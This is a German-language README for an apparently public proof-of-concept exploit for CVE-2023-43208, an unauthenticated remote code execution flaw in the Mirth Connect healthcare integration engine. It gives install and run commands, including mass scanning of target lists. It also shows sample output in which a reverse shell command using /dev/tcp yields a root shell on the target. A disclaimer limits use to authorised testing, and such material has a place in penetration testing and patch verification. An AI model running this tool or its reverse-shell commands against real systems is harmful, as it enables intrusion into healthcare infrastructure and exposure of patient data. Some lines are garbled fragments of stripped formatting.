
Ein PoC-Exploit für CVE-2023-43208 - Mirth Connect Remote Code Execution (RCE)
Proof-of-Concept-Exploit für CVE-2023-43208, eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in Mirth Connect Versionen vor
4.4.1.
Mirth Connect ist eine weit verbreitete Open-Source-Integrationsengine im Gesundheitswesen. Diese Schwachstelle nutzt einen Java-Deserialisierungsfehler über den Endpunkt /api/users aus, indem sie eine manipulierte XML-Nutzlast verwendet, die Apache Commons Collections-Gadgets verkettet, um eine nicht authentifizierte RCE zu erreichen.
Die erweiterte Version ersetzt den ursprünglichen pwncat-Listener durch eine vollständig abhängigkeitsfreie interaktive PTY-Shell, die nur Python-Builtins verwendet (socket, select, tty, termios). Die Shell wird bei Verbindung automatisch auf eine vollständige PTY aktualisiert.
| Software | Verwundbare Versionen | Behobene Version |
|---|---|---|
| Mirth Connect | < 4.4.1 | 4.4.1+ |
python3/python/script Fallback)stty rows/cols)pwncat-Abhängigkeit – nur Stdlib für den Listenergit clone https://github.com/yourrepo/CVE-2023-43208
cd CVE-2023-43208
pip install -r requirements.txt
requests
packaging
rich
alive-progress
python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <PORT>
python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <NGROK_PORT> -bp <LOCAL_PORT>
python3 CVE-2023-43208.py -f targets.txt -t 50 -o vulnerable.txt
[*] Setting up listener on 10.10.15.202:4444 and launching exploit...
[*] Waiting for incoming connection on port 4444...
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://10.129.5.3
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/...'
[*] Launching exploit against https://10.129.5.3...
[+] Received connection from 10.129.5.3:59640
[+] Shell opened! Upgrading to PTY...
root@mirth:/#
Dieses Tool ist ausschließlich für autorisierte Penetrationstests und zu Bildungszwecken bestimmt.
Die nicht autorisierte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal.
Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
| Flag | Beschreibung |
|---|
-u, --url | Ziel-URL |
-lh, --lhost | Ihre lauschende IP |
-lp, --lport | Ihr lauschender Port |
-bp, --bindport | Bind-Port-Überschreibung (nützlich mit ngrok) |
-f, --file | Datei mit Liste der Ziel-URLs |
-o, --output | Verwundbare Ziele in Datei speichern |
-t, --threads | Anzahl der Threads für den Scan (Standard: 50) |